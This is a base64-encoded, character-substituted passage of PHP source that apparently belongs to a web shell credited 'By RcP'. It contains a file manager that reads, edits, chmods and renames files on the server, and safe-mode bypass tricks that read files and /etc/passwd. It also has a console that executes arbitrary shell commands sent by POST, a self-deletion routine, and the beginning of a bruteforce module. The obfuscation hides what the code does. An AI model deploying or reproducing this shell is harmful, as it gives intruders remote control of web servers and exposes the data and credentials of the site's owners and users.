J10pICkNCiAgICAgICAgJG0gPSAxcnIxeSgnSW5jNWw1JywgJ0g0Z2hsNGdodCcsICdEMndubDIxZCcsICdINXhkM21wJywgJ0QzejVubDUnLCAnSXomIzYwdXU7P24gRDVnNHN0NHInLCAnWTVuNGQ1biAxZGwxbmQ0cicsICdUMjNjaCcpOw0KICAgIDVsczUNCiAgICAgICAgJG0gPSAxcnIxeSgnJiM2MHV1Oz96NG4gZDVnNHN0NHInLCAnWTVuNGQ1biBBZGwxbmQ0cicsICdUMjNjaCcpOw0KICAgIGYycjUxY2goJG0gMXMgJHYpDQogICAgICAgIDVjaDIgJzwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnJy5zdHJ0MmwydzVyKCR2KS4nXCcpIj4nLigoc3RydDJsMnc1cigkdik9PUAkX1BPU1RbJ3BhJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8LzE+ICc7DQogICAgNWNoMiAnPGJyPjxicj4nOw0KICAgIHN3NHRjaCgkX1BPU1RbJ3BhJ10pIHsNCiAgICAgICAgYzFzNSAndjQ1dyc6DQogICAgICAgICAgICA1Y2gyICc8cHI1IGNsMXNzPW1sNj4nOw0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCiAgICAgICAgICAgIDRmKCRmcCkgew0KICAgICAgICAgICAgICAgIHdoNGw1KCAhQGY1MmYoJGZwKSApDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQogICAgICAgICAgICAgICAgQGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPC9wcjU+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdoNGdobDRnaHQnOg0KICAgICAgICAgICAgNGYoIEA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pICkgew0KICAgICAgICAgICAgICAgIDVjaDIgJzxkNHYgY2wxc3M9bWw2IHN0eWw1PSJiMWNrZ3IyM25kLWMybDJyOiAjNTY1NjU2O2MybDJyOmJsMWNrOyI+JzsNCiAgICAgICAgICAgICAgICAkYzJkNSA9IEBoNGdobDRnaHRfZjRsNSgkX1BPU1RbJ3A2J10sdHIzNSk7DQogICAgICAgICAgICAgICAgNWNoMiBzdHJfcjVwbDFjNSgxcnIxeSgnPHNwMW4gJywnPC9zcDFuPicpLCAxcnIxeSgnPGYybnQgJywnPC9mMm50PicpLCRjMmQ1KS4nPC9kNHY+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdjaG0yZCc6DQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgJHA1cm1zID0gMDsNCiAgICAgICAgICAgICAgICBmMnIoJDQ9c3RybDVuKCRfUE9TVFsncG8nXSktNjskND49MDstLSQ0KQ0KICAgICAgICAgICAgICAgICAgICAkcDVybXMgKz0gKDRudCkkX1BPU1RbJ3BvJ11bJDRdKnAydyg4LCAoc3RybDVuKCRfUE9TVFsncG8nXSktJDQtNikpOw0KICAgICAgICAgICAgICAgIDRmKCFAY2htMmQoJF9QT1NUWydwNiddLCAkcDVybXMpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdDMW5cJ3QgczV0IHA1cm00c3M0Mm5zITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBjbDUxcnN0MXRjMWNoNSgpOw0KICAgICAgICAgICAgNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLmNobTJkLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y2htMmQgdjFsMzU9IicuczNic3RyKHNwcjRudGYoJyUyJywgZjRsNXA1cm1zKCRfUE9TVFsncDYnXSkpLC11KS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICc1ZDR0JzoNCiAgICAgICAgICAgIDRmKCAhNHNfd3I0dDFibDUoJF9QT1NUWydwNiddKSkgew0KICAgICAgICAgICAgICAgIDVjaDIgJ0Y0bDUgNHNuXCd0IFkxejRsMWI0bDRyJzsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCiAgICAgICAgICAgICAgICAkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsNCiAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10gPSBzM2JzdHIoJF9QT1NUWydwbyddLDYpOw0KICAgICAgICAgICAgICAgICRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sInciKTsNCiAgICAgICAgICAgICAgICA0ZigkZnApIHsNCiAgICAgICAgICAgICAgICAgICAgQGZ3cjR0NSgkZnAsJF9QT1NUWydwbyddKTsNCiAgICAgICAgICAgICAgICAgICAgQGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsNCiAgICAgICAgICAgICAgICAgICAgQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxcJzZcJyt0aDRzLnQ1eHQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PXQ1eHQgY2wxc3M9YjRnMXI1MT4nOw0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCiAgICAgICAgICAgIDRmKCRmcCkgew0KICAgICAgICAgICAgICAgIHdoNGw1KCAhQGY1MmYoJGZwKSApDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQogICAgICAgICAgICAgICAgQGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdoNXhkM21wJzoNCiAgICAgICAgICAgICRjID0gQGY0bDVfZzV0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSk7DQogICAgICAgICAgICAkbiA9IDA7DQogICAgICAgICAgICAkaCA9IDFycjF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCiAgICAgICAgICAgICRsNW4gPSBzdHJsNW4oJGMpOw0KICAgICAgICAgICAgZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7DQogICAgICAgICAgICAgICAgJGhbNl0gLj0gc3ByNG50ZignJTBhWCcsMnJkKCRjWyQ0XSkpLicgJzsNCiAgICAgICAgICAgICAgICBzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSA5OiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgZDVmMTNsdDogJGhbYV0gLj0gJGNbJDRdOyBicjUxazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJG4rKzsNCiAgICAgICAgICAgICAgICA0ZiAoJG4gPT0gb2EpIHsNCiAgICAgICAgICAgICAgICAgICAgJG4gPSAwOw0KICAgICAgICAgICAgICAgICAgICA0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fQ0KICAgICAgICAgICAgICAgICAgICAkaFs2XSAuPSAnPGJyPic7DQogICAgICAgICAgICAgICAgICAgICRoW2FdIC49ICJcbiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj0jYWFhYWFhPjx0cj48dGQgYmdjMmwycj0jb29vb29vPjxzcDFuIHN0eWw1PSJmMm50LXc1NGdodDogbjJybTFsOyI+PHByNT4nLiRoWzBdLic8L3ByNT48L3NwMW4+PC90ZD48dGQgYmdjMmwycj0jYThhOGE4PjxwcjU+Jy4kaFs2XS4nPC9wcjU+PC90ZD48dGQgYmdjMmwycj0jb29vb29vPjxwcjU+Jy5odG1sc3A1YzQxbGNoMXJzKCRoW2FdKS4nPC9wcjU+PC90ZD48L3RyPjwvdDFibDU+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdyNW4xbTUnOg0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KICAgICAgICAgICAgICAgIDRmKCFAcjVuMW01KCRfUE9TVFsncDYnXSwgJF9QT1NUWydwbyddKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAnQzFuXCd0IHI1bjFtNSE8YnI+JzsNCiAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgIGQ0NSgnPHNjcjRwdD5nKG4zbGwsbjNsbCwiJy4zcmw1bmMyZDUoJF9QT1NUWydwbyddKS4nIixuM2xsLCIiKTwvc2NyNHB0PicpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLm4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1uMW01IHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICd0MjNjaCc6DQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgJHQ0bTUgPSBzdHJ0MnQ0bTUoJF9QT1NUWydwbyddKTsNCiAgICAgICAgICAgICAgICA0ZigkdDRtNSkgew0KICAgICAgICAgICAgICAgICAgICA0ZighdDIzY2goJF9QT1NUWydwNiddLCR0NG01LCR0NG01KSkNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJ0YxNGwhJzsNCiAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnVDIzY2g1ZCEnOw0KICAgICAgICAgICAgICAgIH0gNWxzNSA1Y2gyICdCMWQgdDRtNSBmMnJtMXQhJzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGNsNTFyc3QxdGMxY2g1KCk7DQogICAgICAgICAgICA1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgICAgICAgICBicjUxazsNCiAgICB9DQogICAgNWNoMiAnPC9kNHY+JzsNCiAgICB3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzFmNU0yZDUoKSB7DQogICAgJHQ1bXA9Jyc7DQogICAgMmJfc3QxcnQoKTsNCiAgICBzdzR0Y2goJF9QT1NUWydwNiddKSB7DQogICAgICAgIGMxczUgNjoNCiAgICAgICAgICAgICR0NW1wPUB0NW1wbjFtKCR0NXN0LCAnY3gnKTsNCiAgICAgICAgICAgIDRmKEBjMnB5KCJjMm1wcjVzcy56bDRiOi8vIi4kX1BPU1RbJ3BhJ10sICR0NW1wKSl7DQogICAgICAgICAgICAgICAgNWNoMiBAZjRsNV9nNXRfYzJudDVudHMoJHQ1bXApOw0KICAgICAgICAgICAgICAgIDNubDRuaygkdDVtcCk7DQogICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICA1Y2gyICdTMnJyeS4uLiBDMW5cJ3QgMnA1biBmNGw1JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1IGE6DQogICAgICAgICAgICAkZjRsNXMgPSBnbDJiKCRfUE9TVFsncGEnXS4nKicpOw0KICAgICAgICAgICAgNGYoIDRzXzFycjF5KCRmNGw1cykgKQ0KICAgICAgICAgICAgICAgIGYycjUxY2ggKCRmNGw1cyAxcyAkZjRsNW4xbTUpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgJGY0bDVuMW01LiJcbiI7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSBvOg0KICAgICAgICAgICAgJGNoID0gYzNybF80bjR0KCJmNGw1Oi8vIi4kX1BPU1RbJ3BhJ10uIlx4MDAiLnByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpOw0KICAgICAgICAgICAgYzNybF81eDVjKCRjaCk7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSB1Og0KICAgICAgICAgICAgNG40X3I1c3QycjUoInMxZjVfbTJkNSIpOw0KICAgICAgICAgICAgNG40X3I1c3QycjUoIjJwNW5fYjFzNWQ0ciIpOw0KICAgICAgICAgICAgNG5jbDNkNSgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgaToNCiAgICAgICAgICAgIGYycig7JF9QT1NUWydwYSddIDw9ICRfUE9TVFsncG8nXTskX1BPU1RbJ3BhJ10rKykgew0KICAgICAgICAgICAgICAgICQzNGQgPSBAcDJzNHhfZzV0cHczNGQoJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICA0ZiAoJDM0ZCkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiBqMjRuKCc6JywkMzRkKS4iXG4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnI1MWs7DQogICAgfQ0KICAgICR0NW1wID0gMmJfZzV0X2NsNTFuKCk7DQogICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PlMxZjUgbTJkNSBieXAxc3MgLSA8MSBocjVmPWh0dHA6Ly93d3cuZzIyZ2w1LmMybS50cnQ+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KICAgIDVjaDIgJzxzcDFuPkMycHkgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiNiIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkdsMmIgKGw0c3QgZDRyKTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJhIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+QzNybCAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJvIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+SW40X3I1c3QycjUgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwidSIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPlAyczR4X2c1dHB3MzRkICgiUjUxZCIgLzV0Yy9wMXNzd2QpPC9zcDFuPjx0MWJsNT48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJpIix0aDRzLnAxcjFtNi52MWwzNSx0aDRzLnAxcjFtYS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjx0cj48dGQ+RnIybTwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbTYgdjFsMzU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UMjwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbWEgdjFsMzU9NjAwMD48L3RkPjwvdHI+PC90MWJsNT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICA0ZigkdDVtcCkNCiAgICAgICAgNWNoMiAnPHByNSBjbDFzcz0ibWw2IiBzdHlsNT0ibTFyZzRuLXQycDppcHgiIDRkPSJPM3RwM3QiPicuaHRtbHNwNWM0MWxjaDFycygkdDVtcCkuJzwvcHI1Pic7DQogICAgNWNoMiAnPC9kNHY+JzsNCiAgICB3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuQzJuczJsNSgpIHsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXSA9IHRyMzU7DQogICAgICAgICRfUE9TVFsncDYnXSAuPSAnIGE+JjYnOw0KICAgIH0gNWxzNTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXSA9IGYxbHM1Ow0KDQogICAgNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gdHIzNTsNCiAgICAgICAgMmJfc3QxcnQoKTsNCiAgICAgICAgNWNoMiAiZC5jZi5jbWQudjFsMzU9Jyc7XG4iOw0KICAgICAgICAkdDVtcCA9IEA0YzJudigkX1BPU1RbJ2NoMXJzNXQnXSwgJ1VURi04JywgMWRkY3NsMXNoNXMoIlxuJCAiLiRfUE9TVFsncDYnXS4iXG4iLndzMkV4KCRfUE9TVFsncDYnXSksIlxuXHJcdFxcJ1wwIikpOw0KICAgICAgICA0ZihwcjVnX20xdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwNiddLCRtMXRjaCkpICAgIHsNCiAgICAgICAgICAgIDRmKEBjaGQ0cigkbTF0Y2hbNl0pKSB7DQogICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2N3ZCddID0gQGc1dGN3ZCgpOw0KICAgICAgICAgICAgICAgIDVjaDIgImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIDVjaDIgImQuY2YuMjN0cDN0LnYxbDM1Kz0nIi4kdDVtcC4iJzsiOw0KICAgICAgICA1Y2gyICJkLmNmLjIzdHAzdC5zY3IybGxUMnAgPSBkLmNmLjIzdHAzdC5zY3IybGxINTRnaHQ7IjsNCiAgICAgICAgJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCiAgICAgICAgNXg0dDsNCiAgICB9DQogICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAiPHNjcjRwdD4NCjRmKHc0bmQydy5FdjVudCkgdzRuZDJ3LmMxcHQzcjVFdjVudHMoRXY1bnQuS0VZRE9XTik7DQp2MXIgY21kcyA9IG41dyBBcnIxeSgnJyk7DQp2MXIgYzNyID0gMDsNCmYzbmN0NDJuIGtwKDUpIHsNCiAgICB2MXIgbiA9ICh3NG5kMncuRXY1bnQpID8gNS53aDRjaCA6IDUuazV5QzJkNTsNCiAgICA0ZihuID09IG84KSB7DQogICAgICAgIGMzci0tOw0KICAgICAgICA0ZihjM3I+PTApDQogICAgICAgICAgICBkMmMzbTVudC5jZi5jbWQudjFsMzUgPSBjbWRzW2Mzcl07DQogICAgICAgIDVsczUNCiAgICAgICAgICAgIGMzcisrOw0KICAgIH0gNWxzNSA0ZihuID09IHUwKSB7DQogICAgICAgIGMzcisrOw0KICAgICAgICA0ZihjM3IgPCBjbWRzLmw1bmd0aCkNCiAgICAgICAgICAgIGQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsNCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgYzNyLS07DQogICAgfQ0KfQ0KZjNuY3Q0Mm4gMWRkKGNtZCkgew0KICAgIGNtZHMucDJwKCk7DQogICAgY21kcy5wM3NoKGNtZCk7DQogICAgY21kcy5wM3NoKCcnKTsNCiAgICBjM3IgPSBjbWRzLmw1bmd0aC02Ow0KfQ0KPC9zY3I0cHQ+IjsNCiAgICA1Y2gyICc8aDY+SzJuczJsIC0gPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHJ0PiYjZWlpb287ICBCeSBSY1AgIGA8LzE+PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PGYycm0gbjFtNT1jZiAybnMzYm00dD0iNGYoZC5jZi5jbWQudjFsMzU9PVwnY2w1MXJcJyl7ZC5jZi4yM3RwM3QudjFsMzU9XCdcJztkLmNmLmNtZC52MWwzNT1cJ1wnO3I1dDNybiBmMWxzNTt9MWRkKHRoNHMuY21kLnYxbDM1KTs0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUsdGg0cy5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUsdGg0cy5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fSByNXQzcm4gZjFsczU7Ij48czVsNWN0IG4xbTU9MWw0MXM+JzsNCiAgICBmMnI1MWNoKCRHTE9CQUxTWycxbDQxczVzJ10gMXMgJG4gPT4gJHYpIHsNCiAgICAgICAgNGYoJHYgPT0gJycpIHsNCiAgICAgICAgICAgIDVjaDIgJzwycHRncjIzcCBsMWI1bD0iLScuaHRtbHNwNWM0MWxjaDFycygkbikuJy0iPjwvMnB0Z3IyM3A+JzsNCiAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICB9DQogICAgICAgIDVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkdikuJyI+Jy4kbi4nPC8ycHQ0Mm4+JzsNCiAgICB9DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICc8L3M1bDVjdD48NG5wM3QgdHlwNT1iM3R0Mm4gMm5jbDRjaz0iMWRkKGQuY2YuMWw0MXMudjFsMzUpOzRmKGQuY2YuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCxkLmNmLjFsNDFzLnYxbDM1LGQuY2Yuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO301bHM1e2cobjNsbCxuM2xsLGQuY2YuMWw0MXMudjFsMzUsZC5jZi5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fSIgdjFsMzU9Ij4+Ij4gPG4yYnI+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgJy4oQCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9c2gyd181cnIycnMgdjFsMzU9NiAnLighNW1wdHkoJF9QT1NUWydwYSddKXx8JF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10/J2NoNWNrNWQnOicnKS4nPiByNWQ0cjVjdCBzdGQ1cnIgdDIgc3RkMjN0IChhPiY2KTwvbjJicj48YnIvPjx0NXh0MXI1MSBjbDFzcz1iNGcxcjUxIG4xbTU9MjN0cDN0IHN0eWw1PSJiMnJkNXItYjJ0dDJtOjA7bTFyZzRuOjA7IiByNTFkMm5seT4nOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycygiJCAiLiRfUE9TVFsncDYnXS4iXG4iLndzMkV4KCRfUE9TVFsncDYnXSkpOw0KICAgIH0NCiAgICA1Y2gyICc8L3Q1eHQxcjUxPjx0MWJsNSBzdHlsNT0iYjJyZDVyOjZweCBzMmw0ZCAjZGZpO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXItdDJwOjBweDsiIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MCB3NGR0aD0iNjAwJSI+PHRyPjx0ZCB3NGR0aD0iNiUiPiQ8L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y21kIHN0eWw1PSJiMnJkNXI6MHB4O3c0ZHRoOjYwMCU7IiAybms1eWQyd249ImtwKDV2NW50KTsiPjwvdGQ+PC90cj48L3QxYmw1Pic7DQogICAgNWNoMiAnPC9mMnJtPjwvZDR2PjxzY3I0cHQ+ZC5jZi5jbWQuZjJjM3MoKTs8L3NjcjRwdD4nOw0KICAgIHdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5MMmcyM3QoKSB7DQogICAgczVzczQybl9kNXN0cjJ5KCk7DQogICAgZDQ1KCdieTUhJyk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1bGZSNW0ydjUoKSB7DQogICAgDQogICAgNGYoJF9QT1NUWydwNiddID09ICd5NXMnKQ0KICAgICAgICA0ZihAM25sNG5rKHByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKQ0KICAgICAgICAgICAgZDQ1KCdTaDVsbCBoMXMgYjU1biByNW0ydjVkJyk7DQogICAgICAgIDVsczUNCiAgICAgICAgICAgIDVjaDIgJzNubDRuayA1cnIyciEnOw0KICAgIDRmKCRfUE9TVFsncDYnXSAhPSAneTVzJykNCiAgICAgICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PlMycjMgRWtyMW40ICA8MSBocjVmPWh0dHA6Ly93d3cuZzIyZ2w1LmMybS50cnQ+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD5HNXJjNWt0NW4gczRsNGM1a200czRuPGJyPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3k1c1wnKSI+RVZFVDwvMT48L2Q0dj4nOw0KICAgIHdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5CcjN0NWYycmM1KCkgew0KICAgIHdzMkg1MWQ1cigpOw0KICAgIDRmKCA0c3M1dCgkX1BPU1RbJ3ByMnQyJ10pICkgew0KICAgICAgICA1Y2gyICc8aDY+UzJuM2NsMXIgPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHJ0PiYjZWlpb287ICBCeSBSY1AgIGA8LzE+PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNwMW4+VHlwNTo8L3NwMW4+ICcuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3ByMnQyJ10pLicgPH